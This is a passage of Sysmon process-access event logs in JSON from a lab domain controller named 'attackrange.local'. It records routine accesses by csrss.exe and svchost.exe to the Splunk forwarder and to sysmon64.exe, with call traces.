AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.963\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-00107A220500}\r\nTargetProcessId: 2844\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.963","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-00107A220500}","TargetProcessId":"2844","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3348,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3349,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3350,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3351,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3352,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3353,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3354,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3355,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 